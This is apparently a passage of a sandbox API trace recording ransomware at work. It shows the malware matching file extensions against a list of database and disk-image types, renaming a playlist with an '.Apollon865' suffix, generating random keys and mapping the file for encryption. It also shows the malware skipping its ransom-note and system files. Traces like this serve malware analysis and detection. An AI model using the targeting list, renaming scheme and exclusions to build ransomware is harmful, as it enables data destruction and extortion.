	[0061.501] lstrcmpiW (lpString1="wpl", lpString2="vdi") returned 1
	[0061.501] lstrlenW (lpString="vhd") returned 3
	[0061.501] lstrcmpiW (lpString1="wpl", lpString2="vhd") returned 1
	[0061.501] lstrlenW (lpString="vhdx") returned 4
	[0061.501] lstrcmpiW (lpString1=".wpl", lpString2="vhdx") returned -1
	[0061.501] lstrlenW (lpString="avhd") returned 4
	[0061.501] lstrcmpiW (lpString1=".wpl", lpString2="avhd") returned -1
	[0061.501] lstrlenW (lpString="db") returned 2
	[0061.501] lstrcmpiW (lpString1="pl", lpString2="db") returned 1
	[0061.501] lstrlenW (lpString="db2") returned 3
	[0061.501] lstrcmpiW (lpString1="wpl", lpString2="db2") returned 1
	[0061.501] lstrlenW (lpString="db3") returned 3
	[0061.501] lstrcmpiW (lpString1="wpl", lpString2="db3") returned 1
	[0061.501] lstrlenW (lpString="dbf") returned 3
	[0061.501] lstrcmpiW (lpString1="wpl", lpString2="dbf") returned 1
	[0061.501] lstrlenW (lpString="mdf") returned 3
	[0061.501] lstrcmpiW (lpString1="wpl", lpString2="mdf") returned 1
	[0061.501] lstrlenW (lpString="mdb") returned 3
	[0061.501] lstrcmpiW (lpString1="wpl", lpString2="mdb") returned 1
	[0061.501] lstrlenW (lpString="sql") returned 3
	[0061.501] lstrcmpiW (lpString1="wpl", lpString2="sql") returned 1
	[0061.501] lstrlenW (lpString="sqlite") returned 6
	[0061.502] lstrcmpiW (lpString1="ic.wpl", lpString2="sqlite") returned -1
	[0061.502] lstrlenW (lpString="sqlite3") returned 7
	[0061.502] lstrcmpiW (lpString1="sic.wpl", lpString2="sqlite3") returned -1
	[0061.502] lstrlenW (lpString="sqlitedb") returned 8
	[0061.502] lstrcmpiW (lpString1="usic.wpl", lpString2="sqlitedb") returned 1
	[0061.502] lstrlenW (lpString="xml") returned 3
	[0061.502] lstrcmpiW (lpString1="wpl", lpString2="xml") returned -1
	[0061.502] lstrlenW (lpString="$er") returned 3
	[0061.502] lstrcmpiW (lpString1="wpl", lpString2="$er") returned 1
	[0061.502] lstrlenW (lpString="4dd") returned 3
	[0061.502] lstrcmpiW (lpString1="wpl", lpString2="4dd") returned 1
	[0061.502] lstrlenW (lpString="4dl") returned 3
	[0061.502] lstrcmpiW (lpString1="wpl", lpString2="4dl") returned 1
	[0061.502] lstrlenW (lpString="^^^") returned 3
	[0061.502] lstrcmpiW (lpString1="wpl", lpString2="^^^") returned 1
	[0061.502] lstrlenW (lpString="abs") returned 3
	[0061.502] lstrcmpiW (lpString1="wpl", lpString2="abs") returned 1
	[0061.502] lstrlenW (lpString="abx") returned 3
	[0061.502] lstrcmpiW (lpString1="wpl", lpString2="abx") returned 1
	[0061.502] lstrlenW (lpString="accdb") returned 5
	[0061.502] lstrcmpiW (lpString1="c.wpl", lpString2="accdb") returned 1
	[0061.502] lstrlenW (lpString="accdc") returned 5
	[0061.502] lstrcmpiW (lpString1="c.wpl", lpString2="accdc") returned 1
	[0061.502] lstrlenW (lpString="accde") returned 5
	[0061.502] lstrcmpiW (lpString1="c.wpl", lpString2="accde") returned 1
	[0061.502] lstrlenW (lpString="accdr") returned 5
	[0061.502] lstrcmpiW (lpString1="c.wpl", lpString2="accdr") returned 1
	[0061.502] lstrlenW (lpString="accdt") returned 5
	[0061.502] lstrcmpiW (lpString1="c.wpl", lpString2="accdt") returned 1
	[0061.502] lstrlenW (lpString="accdw") returned 5
	[0061.502] lstrcmpiW (lpString1="c.wpl", lpString2="accdw") returned 1
	[0061.502] lstrlenW (lpString="accft") returned 5
	[0061.502] lstrcmpiW (lpString1="c.wpl", lpString2="accft") returned 1
	[0061.502] lstrlenW (lpString="adb") returned 3
	[0061.502] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.503] lstrlenW (lpString="adb") returned 3
	[0061.503] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.503] lstrlenW (lpString="ade") returned 3
	[0061.503] lstrcmpiW (lpString1="wpl", lpString2="ade") returned 1
	[0061.503] lstrlenW (lpString="adf") returned 3
	[0061.503] lstrcmpiW (lpString1="wpl", lpString2="adf") returned 1
	[0061.503] lstrlenW (lpString="adn") returned 3
	[0061.503] lstrcmpiW (lpString1="wpl", lpString2="adn") returned 1
	[0061.503] lstrlenW (lpString="adp") returned 3
	[0061.503] lstrcmpiW (lpString1="wpl", lpString2="adp") returned 1
	[0061.503] lstrlenW (lpString="alf") returned 3
	[0061.503] lstrcmpiW (lpString1="wpl", lpString2="alf") returned 1
	[0061.503] lstrlenW (lpString="ask") returned 3
	[0061.503] lstrcmpiW (lpString1="wpl", lpString2="ask") returned 1
	[0061.503] lstrlenW (lpString="btr") returned 3
	[0061.503] lstrcmpiW (lpString1="wpl", lpString2="btr") returned 1
	[0061.503] lstrlenW (lpString="cat") returned 3
	[0061.503] lstrcmpiW (lpString1="wpl", lpString2="cat") returned 1
	[0061.503] lstrlenW (lpString="cdb") returned 3
	[0061.503] lstrcmpiW (lpString1="wpl", lpString2="cdb") returned 1
	[0061.503] lstrlenW (lpString="ckp") returned 3
	[0061.503] lstrcmpiW (lpString1="wpl", lpString2="ckp") returned 1
	[0061.503] lstrlenW (lpString="cma") returned 3
	[0061.503] lstrcmpiW (lpString1="wpl", lpString2="cma") returned 1
	[0061.503] lstrlenW (lpString="cpd") returned 3
	[0061.503] lstrcmpiW (lpString1="wpl", lpString2="cpd") returned 1
	[0061.503] lstrlenW (lpString="dacpac") returned 6
	[0061.503] lstrcmpiW (lpString1="ic.wpl", lpString2="dacpac") returned 1
	[0061.503] lstrlenW (lpString="dad") returned 3
	[0061.503] lstrcmpiW (lpString1="wpl", lpString2="dad") returned 1
	[0061.503] lstrlenW (lpString="dadiagrams") returned 10
	[0061.503] lstrcmpiW (lpString1="_Music.wpl", lpString2="dadiagrams") returned -1
	[0061.503] lstrlenW (lpString="daschema") returned 8
	[0061.503] lstrcmpiW (lpString1="usic.wpl", lpString2="daschema") returned 1
	[0061.503] lstrlenW (lpString="db-journal") returned 10
	[0061.503] lstrcmpiW (lpString1="_Music.wpl", lpString2="db-journal") returned -1
	[0061.504] lstrlenW (lpString="db-shm") returned 6
	[0061.504] lstrcmpiW (lpString1="ic.wpl", lpString2="db-shm") returned 1
	[0061.504] lstrlenW (lpString="db-wal") returned 6
	[0061.504] lstrcmpiW (lpString1="ic.wpl", lpString2="db-wal") returned 1
	[0061.504] lstrlenW (lpString="dbc") returned 3
	[0061.504] lstrcmpiW (lpString1="wpl", lpString2="dbc") returned 1
	[0061.504] lstrlenW (lpString="dbs") returned 3
	[0061.504] lstrcmpiW (lpString1="wpl", lpString2="dbs") returned 1
	[0061.504] lstrlenW (lpString="dbt") returned 3
	[0061.504] lstrcmpiW (lpString1="wpl", lpString2="dbt") returned 1
	[0061.504] lstrlenW (lpString="dbv") returned 3
	[0061.504] lstrcmpiW (lpString1="wpl", lpString2="dbv") returned 1
	[0061.504] lstrlenW (lpString="dbx") returned 3
	[0061.504] lstrcmpiW (lpString1="wpl", lpString2="dbx") returned 1
	[0061.504] lstrlenW (lpString="dcb") returned 3
	[0061.504] lstrcmpiW (lpString1="wpl", lpString2="dcb") returned 1
	[0061.504] lstrlenW (lpString="dct") returned 3
	[0061.504] lstrcmpiW (lpString1="wpl", lpString2="dct") returned 1
	[0061.504] lstrlenW (lpString="dcx") returned 3
	[0061.504] lstrcmpiW (lpString1="wpl", lpString2="dcx") returned 1
	[0061.504] lstrlenW (lpString="ddl") returned 3
	[0061.504] lstrcmpiW (lpString1="wpl", lpString2="ddl") returned 1
	[0061.504] lstrlenW (lpString="dlis") returned 4
	[0061.504] lstrcmpiW (lpString1=".wpl", lpString2="dlis") returned -1
	[0061.504] lstrlenW (lpString="dp1") returned 3
	[0061.504] lstrcmpiW (lpString1="wpl", lpString2="dp1") returned 1
	[0061.504] lstrlenW (lpString="dqy") returned 3
	[0061.504] lstrcmpiW (lpString1="wpl", lpString2="dqy") returned 1
	[0061.504] lstrlenW (lpString="dsk") returned 3
	[0061.504] lstrcmpiW (lpString1="wpl", lpString2="dsk") returned 1
	[0061.504] lstrlenW (lpString="dsn") returned 3
	[0061.504] lstrcmpiW (lpString1="wpl", lpString2="dsn") returned 1
	[0061.504] lstrlenW (lpString="dtsx") returned 4
	[0061.504] lstrcmpiW (lpString1=".wpl", lpString2="dtsx") returned -1
	[0061.504] lstrlenW (lpString="dxl") returned 3
	[0061.505] lstrcmpiW (lpString1="wpl", lpString2="dxl") returned 1
	[0061.505] lstrlenW (lpString="eco") returned 3
	[0061.505] lstrcmpiW (lpString1="wpl", lpString2="eco") returned 1
	[0061.505] lstrlenW (lpString="ecx") returned 3
	[0061.505] lstrcmpiW (lpString1="wpl", lpString2="ecx") returned 1
	[0061.505] lstrlenW (lpString="edb") returned 3
	[0061.505] lstrcmpiW (lpString1="wpl", lpString2="edb") returned 1
	[0061.505] lstrlenW (lpString="epim") returned 4
	[0061.505] lstrcmpiW (lpString1=".wpl", lpString2="epim") returned -1
	[0061.505] lstrlenW (lpString="fcd") returned 3
	[0061.505] lstrcmpiW (lpString1="wpl", lpString2="fcd") returned 1
	[0061.505] lstrlenW (lpString="fdb") returned 3
	[0061.505] lstrcmpiW (lpString1="wpl", lpString2="fdb") returned 1
	[0061.505] lstrlenW (lpString="fic") returned 3
	[0061.505] lstrcmpiW (lpString1="wpl", lpString2="fic") returned 1
	[0061.505] lstrlenW (lpString="flexolibrary") returned 12
	[0061.505] lstrcmpiW (lpString1="ll_Music.wpl", lpString2="flexolibrary") returned 1
	[0061.505] lstrlenW (lpString="fm5") returned 3
	[0061.505] lstrcmpiW (lpString1="wpl", lpString2="fm5") returned 1
	[0061.505] lstrlenW (lpString="fmp") returned 3
	[0061.505] lstrcmpiW (lpString1="wpl", lpString2="fmp") returned 1
	[0061.505] lstrlenW (lpString="fmp12") returned 5
	[0061.505] lstrcmpiW (lpString1="c.wpl", lpString2="fmp12") returned -1
	[0061.505] lstrlenW (lpString="fmpsl") returned 5
	[0061.505] lstrcmpiW (lpString1="c.wpl", lpString2="fmpsl") returned -1
	[0061.505] lstrlenW (lpString="fol") returned 3
	[0061.505] lstrcmpiW (lpString1="wpl", lpString2="fol") returned 1
	[0061.505] lstrlenW (lpString="fp3") returned 3
	[0061.505] lstrcmpiW (lpString1="wpl", lpString2="fp3") returned 1
	[0061.505] lstrlenW (lpString="fp4") returned 3
	[0061.505] lstrcmpiW (lpString1="wpl", lpString2="fp4") returned 1
	[0061.505] lstrlenW (lpString="fp5") returned 3
	[0061.505] lstrcmpiW (lpString1="wpl", lpString2="fp5") returned 1
	[0061.505] lstrlenW (lpString="fp7") returned 3
	[0061.505] lstrcmpiW (lpString1="wpl", lpString2="fp7") returned 1
	[0061.506] lstrlenW (lpString="fpt") returned 3
	[0061.506] lstrcmpiW (lpString1="wpl", lpString2="fpt") returned 1
	[0061.506] lstrlenW (lpString="frm") returned 3
	[0061.506] lstrcmpiW (lpString1="wpl", lpString2="frm") returned 1
	[0061.506] lstrlenW (lpString="gdb") returned 3
	[0061.506] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.506] lstrlenW (lpString="gdb") returned 3
	[0061.506] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.506] lstrlenW (lpString="grdb") returned 4
	[0061.506] lstrcmpiW (lpString1=".wpl", lpString2="grdb") returned -1
	[0061.506] lstrlenW (lpString="gwi") returned 3
	[0061.506] lstrcmpiW (lpString1="wpl", lpString2="gwi") returned 1
	[0061.506] lstrlenW (lpString="hdb") returned 3
	[0061.506] lstrcmpiW (lpString1="wpl", lpString2="hdb") returned 1
	[0061.506] lstrlenW (lpString="his") returned 3
	[0061.506] lstrcmpiW (lpString1="wpl", lpString2="his") returned 1
	[0061.506] lstrlenW (lpString="ib") returned 2
	[0061.506] lstrcmpiW (lpString1="pl", lpString2="ib") returned 1
	[0061.506] lstrlenW (lpString="idb") returned 3
	[0061.506] lstrcmpiW (lpString1="wpl", lpString2="idb") returned 1
	[0061.506] lstrlenW (lpString="ihx") returned 3
	[0061.506] lstrcmpiW (lpString1="wpl", lpString2="ihx") returned 1
	[0061.506] lstrlenW (lpString="itdb") returned 4
	[0061.506] lstrcmpiW (lpString1=".wpl", lpString2="itdb") returned -1
	[0061.506] lstrlenW (lpString="itw") returned 3
	[0061.506] lstrcmpiW (lpString1="wpl", lpString2="itw") returned 1
	[0061.506] lstrlenW (lpString="jet") returned 3
	[0061.506] lstrcmpiW (lpString1="wpl", lpString2="jet") returned 1
	[0061.506] lstrlenW (lpString="jtx") returned 3
	[0061.506] lstrcmpiW (lpString1="wpl", lpString2="jtx") returned 1
	[0061.506] lstrlenW (lpString="kdb") returned 3
	[0061.506] lstrcmpiW (lpString1="wpl", lpString2="kdb") returned 1
	[0061.506] lstrlenW (lpString="kexi") returned 4
	[0061.506] lstrcmpiW (lpString1=".wpl", lpString2="kexi") returned -1
	[0061.506] lstrlenW (lpString="kexic") returned 5
	[0061.506] lstrcmpiW (lpString1="c.wpl", lpString2="kexic") returned -1
	[0061.507] lstrlenW (lpString="kexis") returned 5
	[0061.507] lstrcmpiW (lpString1="c.wpl", lpString2="kexis") returned -1
	[0061.507] lstrlenW (lpString="lgc") returned 3
	[0061.507] lstrcmpiW (lpString1="wpl", lpString2="lgc") returned 1
	[0061.507] lstrlenW (lpString="lwx") returned 3
	[0061.507] lstrcmpiW (lpString1="wpl", lpString2="lwx") returned 1
	[0061.507] lstrlenW (lpString="maf") returned 3
	[0061.507] lstrcmpiW (lpString1="wpl", lpString2="maf") returned 1
	[0061.507] lstrlenW (lpString="maq") returned 3
	[0061.507] lstrcmpiW (lpString1="wpl", lpString2="maq") returned 1
	[0061.507] lstrlenW (lpString="mar") returned 3
	[0061.507] lstrcmpiW (lpString1="wpl", lpString2="mar") returned 1
	[0061.507] lstrlenW (lpString="marshal") returned 7
	[0061.507] lstrcmpiW (lpString1="sic.wpl", lpString2="marshal") returned 1
	[0061.507] lstrlenW (lpString="mas") returned 3
	[0061.507] lstrcmpiW (lpString1="wpl", lpString2="mas") returned 1
	[0061.507] lstrlenW (lpString="mav") returned 3
	[0061.507] lstrcmpiW (lpString1="wpl", lpString2="mav") returned 1
	[0061.507] lstrlenW (lpString="maw") returned 3
	[0061.507] lstrcmpiW (lpString1="wpl", lpString2="maw") returned 1
	[0061.507] lstrlenW (lpString="mdbhtml") returned 7
	[0061.507] lstrcmpiW (lpString1="sic.wpl", lpString2="mdbhtml") returned 1
	[0061.507] lstrlenW (lpString="mdn") returned 3
	[0061.507] lstrcmpiW (lpString1="wpl", lpString2="mdn") returned 1
	[0061.507] lstrlenW (lpString="mdt") returned 3
	[0061.507] lstrcmpiW (lpString1="wpl", lpString2="mdt") returned 1
	[0061.507] lstrlenW (lpString="mfd") returned 3
	[0061.507] lstrcmpiW (lpString1="wpl", lpString2="mfd") returned 1
	[0061.507] lstrlenW (lpString="mpd") returned 3
	[0061.507] lstrcmpiW (lpString1="wpl", lpString2="mpd") returned 1
	[0061.507] lstrlenW (lpString="mrg") returned 3
	[0061.507] lstrcmpiW (lpString1="wpl", lpString2="mrg") returned 1
	[0061.507] lstrlenW (lpString="mud") returned 3
	[0061.507] lstrcmpiW (lpString1="wpl", lpString2="mud") returned 1
	[0061.507] lstrlenW (lpString="mwb") returned 3
	[0061.508] lstrcmpiW (lpString1="wpl", lpString2="mwb") returned 1
	[0061.508] lstrlenW (lpString="myd") returned 3
	[0061.508] lstrcmpiW (lpString1="wpl", lpString2="myd") returned 1
	[0061.508] lstrlenW (lpString="ndf") returned 3
	[0061.508] lstrcmpiW (lpString1="wpl", lpString2="ndf") returned 1
	[0061.508] lstrlenW (lpString="nnt") returned 3
	[0061.508] lstrcmpiW (lpString1="wpl", lpString2="nnt") returned 1
	[0061.508] lstrlenW (lpString="nrmlib") returned 6
	[0061.508] lstrcmpiW (lpString1="ic.wpl", lpString2="nrmlib") returned -1
	[0061.508] lstrlenW (lpString="ns2") returned 3
	[0061.508] lstrcmpiW (lpString1="wpl", lpString2="ns2") returned 1
	[0061.508] lstrlenW (lpString="ns3") returned 3
	[0061.508] lstrcmpiW (lpString1="wpl", lpString2="ns3") returned 1
	[0061.508] lstrlenW (lpString="ns4") returned 3
	[0061.508] lstrcmpiW (lpString1="wpl", lpString2="ns4") returned 1
	[0061.508] lstrlenW (lpString="nsf") returned 3
	[0061.508] lstrcmpiW (lpString1="wpl", lpString2="nsf") returned 1
	[0061.508] lstrlenW (lpString="nv") returned 2
	[0061.508] lstrcmpiW (lpString1="pl", lpString2="nv") returned 1
	[0061.508] lstrlenW (lpString="nv2") returned 3
	[0061.508] lstrcmpiW (lpString1="wpl", lpString2="nv2") returned 1
	[0061.508] lstrlenW (lpString="nwdb") returned 4
	[0061.508] lstrcmpiW (lpString1=".wpl", lpString2="nwdb") returned -1
	[0061.508] lstrlenW (lpString="nyf") returned 3
	[0061.508] lstrcmpiW (lpString1="wpl", lpString2="nyf") returned 1
	[0061.508] lstrlenW (lpString="odb") returned 3
	[0061.508] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.508] lstrlenW (lpString="odb") returned 3
	[0061.508] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.508] lstrlenW (lpString="oqy") returned 3
	[0061.508] lstrcmpiW (lpString1="wpl", lpString2="oqy") returned 1
	[0061.508] lstrlenW (lpString="ora") returned 3
	[0061.508] lstrcmpiW (lpString1="wpl", lpString2="ora") returned 1
	[0061.508] lstrlenW (lpString="orx") returned 3
	[0061.508] lstrcmpiW (lpString1="wpl", lpString2="orx") returned 1
	[0061.509] lstrlenW (lpString="owc") returned 3
	[0061.509] lstrcmpiW (lpString1="wpl", lpString2="owc") returned 1
	[0061.509] lstrlenW (lpString="p96") returned 3
	[0061.509] lstrcmpiW (lpString1="wpl", lpString2="p96") returned 1
	[0061.509] lstrlenW (lpString="p97") returned 3
	[0061.509] lstrcmpiW (lpString1="wpl", lpString2="p97") returned 1
	[0061.509] lstrlenW (lpString="pan") returned 3
	[0061.509] lstrcmpiW (lpString1="wpl", lpString2="pan") returned 1
	[0061.509] lstrlenW (lpString="pdb") returned 3
	[0061.509] lstrcmpiW (lpString1="wpl", lpString2="pdb") returned 1
	[0061.509] lstrlenW (lpString="pdm") returned 3
	[0061.509] lstrcmpiW (lpString1="wpl", lpString2="pdm") returned 1
	[0061.509] lstrlenW (lpString="pnz") returned 3
	[0061.509] lstrcmpiW (lpString1="wpl", lpString2="pnz") returned 1
	[0061.509] lstrlenW (lpString="qry") returned 3
	[0061.509] lstrcmpiW (lpString1="wpl", lpString2="qry") returned 1
	[0061.509] lstrlenW (lpString="qvd") returned 3
	[0061.509] lstrcmpiW (lpString1="wpl", lpString2="qvd") returned 1
	[0061.509] lstrlenW (lpString="rbf") returned 3
	[0061.509] lstrcmpiW (lpString1="wpl", lpString2="rbf") returned 1
	[0061.509] lstrlenW (lpString="rctd") returned 4
	[0061.509] lstrcmpiW (lpString1=".wpl", lpString2="rctd") returned -1
	[0061.509] lstrlenW (lpString="rod") returned 3
	[0061.509] lstrcmpiW (lpString1="wpl", lpString2="rod") returned 1
	[0061.509] lstrlenW (lpString="rodx") returned 4
	[0061.509] lstrcmpiW (lpString1=".wpl", lpString2="rodx") returned -1
	[0061.509] lstrlenW (lpString="rpd") returned 3
	[0061.509] lstrcmpiW (lpString1="wpl", lpString2="rpd") returned 1
	[0061.509] lstrlenW (lpString="rsd") returned 3
	[0061.509] lstrcmpiW (lpString1="wpl", lpString2="rsd") returned 1
	[0061.509] lstrlenW (lpString="sas7bdat") returned 8
	[0061.509] lstrcmpiW (lpString1="usic.wpl", lpString2="sas7bdat") returned 1
	[0061.509] lstrlenW (lpString="sbf") returned 3
	[0061.509] lstrcmpiW (lpString1="wpl", lpString2="sbf") returned 1
	[0061.509] lstrlenW (lpString="scx") returned 3
	[0061.510] lstrcmpiW (lpString1="wpl", lpString2="scx") returned 1
	[0061.510] lstrlenW (lpString="sdb") returned 3
	[0061.510] lstrcmpiW (lpString1="wpl", lpString2="sdb") returned 1
	[0061.510] lstrlenW (lpString="sdc") returned 3
	[0061.510] lstrcmpiW (lpString1="wpl", lpString2="sdc") returned 1
	[0061.510] lstrlenW (lpString="sdf") returned 3
	[0061.510] lstrcmpiW (lpString1="wpl", lpString2="sdf") returned 1
	[0061.510] lstrlenW (lpString="sis") returned 3
	[0061.510] lstrcmpiW (lpString1="wpl", lpString2="sis") returned 1
	[0061.510] lstrlenW (lpString="spq") returned 3
	[0061.510] lstrcmpiW (lpString1="wpl", lpString2="spq") returned 1
	[0061.510] lstrlenW (lpString="te") returned 2
	[0061.510] lstrcmpiW (lpString1="pl", lpString2="te") returned -1
	[0061.510] lstrlenW (lpString="teacher") returned 7
	[0061.510] lstrcmpiW (lpString1="sic.wpl", lpString2="teacher") returned -1
	[0061.510] lstrlenW (lpString="tmd") returned 3
	[0061.510] lstrcmpiW (lpString1="wpl", lpString2="tmd") returned 1
	[0061.510] lstrlenW (lpString="tps") returned 3
	[0061.510] lstrcmpiW (lpString1="wpl", lpString2="tps") returned 1
	[0061.510] lstrlenW (lpString="trc") returned 3
	[0061.510] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.510] lstrlenW (lpString="trc") returned 3
	[0061.510] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.510] lstrlenW (lpString="trm") returned 3
	[0061.510] lstrcmpiW (lpString1="wpl", lpString2="trm") returned 1
	[0061.510] lstrlenW (lpString="udb") returned 3
	[0061.510] lstrcmpiW (lpString1="wpl", lpString2="udb") returned 1
	[0061.510] lstrlenW (lpString="udl") returned 3
	[0061.510] lstrcmpiW (lpString1="wpl", lpString2="udl") returned 1
	[0061.510] lstrlenW (lpString="usr") returned 3
	[0061.510] lstrcmpiW (lpString1="wpl", lpString2="usr") returned 1
	[0061.510] lstrlenW (lpString="v12") returned 3
	[0061.510] lstrcmpiW (lpString1="wpl", lpString2="v12") returned 1
	[0061.510] lstrlenW (lpString="vis") returned 3
	[0061.510] lstrcmpiW (lpString1="wpl", lpString2="vis") returned 1
	[0061.511] lstrlenW (lpString="vpd") returned 3
	[0061.511] lstrcmpiW (lpString1="wpl", lpString2="vpd") returned 1
	[0061.511] lstrlenW (lpString="vvv") returned 3
	[0061.511] lstrcmpiW (lpString1="wpl", lpString2="vvv") returned 1
	[0061.511] lstrlenW (lpString="wdb") returned 3
	[0061.511] lstrcmpiW (lpString1="wpl", lpString2="wdb") returned 1
	[0061.511] lstrlenW (lpString="wmdb") returned 4
	[0061.511] lstrcmpiW (lpString1=".wpl", lpString2="wmdb") returned -1
	[0061.511] lstrlenW (lpString="wrk") returned 3
	[0061.511] lstrcmpiW (lpString1="wpl", lpString2="wrk") returned -1
	[0061.511] lstrlenW (lpString="xdb") returned 3
	[0061.511] lstrcmpiW (lpString1="wpl", lpString2="xdb") returned -1
	[0061.511] lstrlenW (lpString="xld") returned 3
	[0061.511] lstrcmpiW (lpString1="wpl", lpString2="xld") returned -1
	[0061.511] lstrlenW (lpString="xmlff") returned 5
	[0061.511] lstrcmpiW (lpString1="c.wpl", lpString2="xmlff") returned -1
	[0061.511] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl.Apollon865") returned 111
	[0061.511] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl.apollon865"), dwFlags=0x1) returned 1
	[0061.512] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0061.512] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1063) returned 1
	[0061.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0061.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0061.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0061.513] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0061.513] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0061.513] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0061.514] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x730, lpName=0x0) returned 0x15c
	[0061.515] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x730) returned 0x100000
	[0061.537] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0061.537] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0061.537] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0061.537] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0061.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0061.537] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0061.537] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0061.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0061.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0061.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0061.538] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0061.538] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0061.538] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0061.538] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0061.538] CloseHandle (hObject=0x15c) returned 1
	[0061.538] CloseHandle (hObject=0x14c) returned 1
	[0061.538] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0061.538] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0061.538] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0061.538] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="11_All_Pictures.wpl", cAlternateFileName="11_ALL~1.WPL")) returned 1
	[0061.538] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.538] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2="Apollon865.txt.exe") returned -1
	[0061.538] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2=".") returned 1
	[0061.538] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2="..") returned 1
	[0061.539] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2="windows") returned -1
	[0061.539] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2="bootmgr") returned -1
	[0061.539] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2="temp") returned -1
	[0061.539] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2="pagefile.sys") returned -1
	[0061.539] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2="boot") returned -1
